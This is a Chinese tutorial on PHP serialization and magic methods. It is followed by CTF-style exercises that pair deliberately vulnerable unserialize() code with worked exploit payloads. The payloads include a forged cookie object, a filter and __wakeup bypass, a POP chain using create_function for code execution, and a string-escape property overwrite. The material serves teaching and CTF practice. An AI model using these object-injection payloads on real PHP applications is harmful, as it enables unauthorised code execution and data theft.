序列化和反序列化
基本概念
- 序列化:将内存中的对象转化为可以存储或传输的格式的过程。
- 反序列化:把存储或接收到的数据重新转换为内存中对象的过程。
常见应用场景
- 数据存储:把对象保存到文件或数据库。
- 网络传输:在客户端和服务器之间传递对象。
- 跨语言通信:让不同编程语言的系统能够交换数据。
示例
<?php
// 定义一个数组
$user = [
'name' => '张三',
'age' => 28,
'email' => 'zhangsan@example.com'
];
// 序列化数组
$serializedUser = serialize($user);
echo $serializedUser;
// 输出:a:3:{s:4:"name";s:6:"张三";s:3:"age";i:28;s:5:"email";s:20:"zhangsan@example.com";}
?>
//序列化
在php中,序列化的函数为serialize(),反序列化则为unserialize()
上述代码输出结果为:
a:3:{s:4:"name";s:6:"张三";s:3:"age";i:28;s:5:"email";s:20:"zhangsan@example.com";}
<?php
// 序列化后的字符串
$serializedUser = 'a:3:{s:4:"name";s:6:"张三";s:3:"age";i:28;s:5:"email";s:20:"zhangsan@example.com";}';
// 反序列化
$user = unserialize($serializedUser);
print_r($user);
/*
输出:
Array
(
[name] => 张三
[age] => 28
[email] => zhangsan@example.com
)
*/
?>
//反序列化
1、序列化
- 基本类型
<?php
// 字符串
$string = "Hello World";
echo serialize($string)."\n"; // 输出: s:11:"Hello World";
// 整数
$integer = 123;
echo serialize($integer)."\n"; // 输出: i:123;
// 浮点数
$float = 3.14;
echo serialize($float)."\n"; // 输出: d:3.14;
// 布尔值
$bool = true;
echo serialize($bool)."\n"; // 输出: b:1;
$bool = false;
echo serialize($bool)."\n"; // 输出: b:0;
// NULL值
$null = null;
echo serialize($null)."\n"; // 输出: N;
?>
- 复合类型
<?php
// 索引数组
$array = [1, 2, 3];
echo serialize($array)."\n"; // 输出: a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}
// 关联数组
$assocArray = ['name' => '张三', 'age' => 25];
echo serialize($assocArray)."\n";
// 输出: a:2:{s:4:"name";s:6:"张三";s:3:"age";i:25;}
// 多维数组
$multiArray = [
'user' => ['name' => '李四', 'age' => 30],
'scores' => [85, 90, 78]
];
echo serialize($multiArray)."\n";
// 输出: a:2:{s:4:"user";a:2:{s:4:"name";s:6:"李四";s:3:"age";i:30;}s:6:"scores";a:3:{i:0;i:85;i:1;i:90;i:2;i:78;}}
?>
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return 'this is test1';
}
}
$test = new Test();
var_dump(serialize($test));
// $serialized = serialize(new Test());
// echo bin2hex($serialized);
?>
2. 序列化格式说明
PHP 序列化格式使用特定标记:
- s:- 字符串,后面跟着长度和值
- i:- 整数
- d:- 浮点数
- b:- 布尔值
- a: 数组,后面跟着元素数量和大括号包裹的内容
- 0:- 对象,后面跟着类名长度、类名和属性数量
- N: -NULL 值
- R:- 引用
- C: 自定义对象 (实现 Serializable 接口时)
理解这些格式有助于调试和解析序列化数据。
3、反序列化
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return 'this is test1 ';
}
}
$test = new Test();
$sTest = serialize($test);
echo "序列化数据: <br>";
var_dump($sTest);
$usTest = unserialize($sTest);
echo "<br>";
echo "反序列化数据:<br>";
var_dump($usTest);
?>
4、魔术方法

(1)__construct()与__destruct()方法
<?php
class User {
public function __construct() {
echo "对象已创建!";
}
public function __destruct() {
echo "对象被销毁!";
}
}
$user = new User(); // 输出 "对象已创建!"
unset($user); // 输出 "对象被销毁!"
?>
(2)__get()与__set()方法(属性重载)
<?php
class DynamicProperties {
private $data = []; // 用于存储动态属性的数组
// 当访问不存在的属性时触发
public function __get($name) {
return $this->data[$name] ?? null;
}
// 当给不存在的属性赋值时触发
public function __set($name, $value) {
$this->data[$name] = $value;
}
}
$obj = new DynamicProperties();
$obj->foo = "bar"; // 触发 __set("foo", "bar")
echo $obj->foo; // 触发 __get("foo"),输出 "bar"
?>
(3)__call()和__callStatic()(方法重载)
<?php
class MethodOverloader {
// 触发时机:调用一个对象中不存在或不可访问的实例方法时触发(如 $obj->undefinedMethod())
public function __call($name, $args) {
return "调用了不存在的方法: $name, 参数: " . implode(", ", $args);
}
// 触发时机:调用一个类中不存在或不可访问的静态方法时触发(如 ClassName::undefinedStaticMethod())
public static function __callStatic($name, $args) {
return "调用了不存在的静态方法: $name";
}
}
$obj = new MethodOverloader();
echo $obj->run("fast"); // 输出 "调用了不存在的方法: run, 参数: fast"
echo MethodOverloader::jump(); // 输出 "调用了不存在的静态方法: jump"
?>
(4)__toString()(对象字符串化)
<?php
class Book {
public function __toString() {
return "这是一本书";
}
}
$book = new Book();
echo $book; // 输出 "这是一本书"
?>
(5)__invoke()(对象可调用)
<?php
class CallableClass {
public function __invoke($arg) {
return "调用了对象,参数: $arg";
}
}
$obj = new CallableClass();
echo $obj("hello"); // 输出 "调用了对象,参数: hello"
?>
(6)__sleep()与 __wakeup()(序列化控制)
<?php
class Session {
private $password;
public function __sleep() {
return ['username']; // 只序列化 username,跳过 password
}
public function __wakeup() {
$this->password = "default"; // 反序列化后重置密码
}
}
?>
例题
对于一系列的例题,其实本质就是构造满足验证条件执行的类名对象,然后按照要求反序列化或序列化,最后按照指定方式发送到对应位置($_GET、 $_COOKIE)等等
源码:
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
注意到类
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
满足$this->user=="daydream" and $this->pass=="ok"
就可以执行下面的echo $flag
因此构造
<?php
class mylogin{
var $user="daydream";
var $pass="ok";
}
$obj = new mylogin();
var_dump(serialize($obj));
var_dump(urlencode(serialize($obj)))
?>
得到payload:Cookie: param=O:7:"mylogin":2:{s:4:"user"%3bs:8:"daydream"%3bs:4:"pass"%3bs:2:"ok"%3b}
用HackerBar发送到cookie区执行即可
源码:
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
有过滤,在secret类中的destruct,有引用file后打印flag内容
- GET 参数
cmd会被反序列化,但存在正则过滤/[oc]:\d+:/i,阻止常规的对象序列化格式(如O:6:"secret":1:{...})。
绕过方法:在数字前面加上+号,这样不会触发过滤条件,而PHP会自动将+删除识别,因此不影响反序列化传入
__wakeup会重置$file,需要绕过该方法。
绕过方法:当当序列化字符串中对象的属性数量大于实际数量时,_
_wakeup方法不会被执行
payload:
<?php
class secret {
var $file = 'flag.php'; // 目标文件
}
$payload = serialize(new secret());
$payload = str_replace('O:6:"secret":1', 'O:+6:"secret":2', $payload); // 绕过过滤以及绕过__wakeup()
echo $payload."\n";
echo urlencode($payload)."\n";
主要学一下怎么绕过过滤机制和wakeup
cmd=O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
源码:
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
可以看到,这是在func(也就是析构)时调用魔术方法destruct来反序列化$key,又有一个危险函数GetFlag可以实现调用 $_GET来实现任意命令执行,因此我们的思路是,先构造一个GetFlag类实现system("cat flag"),然后调用func类析构使用反序列化传参param,实现反序列化的RCE
实现:
<?php
class func{
public $key;
}
class GetFlag{
public $code='}include("flag.php");echo $flag;//';
public $action="create_function";
}
//构造RCEinclude方法打印flag
$a = new func();//创建func实例对象实现后面的反序列化
$b = new GetFlag();//创建构造好的GetFlag类的实例对象
$a->key = serialize(array($b, "get_flag"));//实例对象的key变量值为序列化的对象a数组,构造好的对象b和方法回调数组,最后存储在$a->key中
echo urlencode(serialize($a));//打印出传输param参数的func对象(经过URL编码)
?>
源码:
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>
这里you类定义了两个private body和pro,pro在后面被__destruct方法引用执行,即输入pro的值会变成一个方法,而恰好my类里面有__call方法会在创建一个空方法时自动执行,使得它的参数名(func)的值变为这个方法名,那么我们就可以利用这个机制使得func的值为‘yourname’,并且同时设定my类的name为‘myname’,最终引用flag.php,打印flag的值
payload构建:
<?php
class you
{
private $body;
private $pro;
// 初始化时自动设置`$body`和`$pro`
function __construct(){
$this->body=new my();
$this->pro='yourname';
}
// 对象销毁时调用`$body->$project()`
function __destruct()
{
$project=$this->pro; //yourname
$this->body->$project();
}
}
class my
{
public $name='myname';
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a = new you();
echo serialize($a);
最终payload:
a=O:3:"you":2:{s:9:"%00you%00body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:"%00you%00pro";s:8:"yourname";}
<?php
class you
{
var $body;
var $pro='yourname';
}
class my
{
var $name='myname';
}
$you1=new you();
$me1=new my();
$you1->body=$me1;
$a=url(serialize($you1));
echo $a;
?>
源码:
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
这是一个有过滤机制和修改默认值的题目,关键在于将$pass的默认值daydream修改为escaping,这里就应用到一个知识点,即闭合}实现第一次赋值后再次赋值覆盖之前在类中声明好的默认值,
然后我们使用php,系统会过滤为hack,使得长度溢出,从而过滤后的序列化字符串中,user的长度描述仍是116(未更新),但实际内容长度是 145。这会导致:
- 前 116 个字符被解析为
user的值(包含部分注入内容)。 - 剩余的
145-116=29个字符(恰好是注入内容的后半部分)会 “溢出” 到user属性之外,成为序列化结构的一部分:// 过滤后的有效结构(简化) O:4:"test":2:{ s:4:"user";s:116:"hackhack...hack"; // 前116字符(含部分注入内容) s:4:"pass";s:8:"escaping";} // 溢出的注入内容,成为新的属性定义 }
原有的pass:"daydream"被溢出的pass:"escaping"覆盖。
5. 最终结果
反序列化后,$profile->pass的值变为"escaping",满足条件并输出"mingy"。
payload构建:
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$a = str_repeat("php", 29);
$param = $a . '";s:4:"pass";s:8:"escaping";}';
echo $param."\n";
$param=serialize(new test($param));
echo $param."\n";
$profile=unserialize(filter($param));
var_dump($profile->user);
var_dump($profile->pass);
if ($profile->pass=='escaping'){
echo "mingy";
}
?>
payload:
param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

浙公网安备 33010602011771号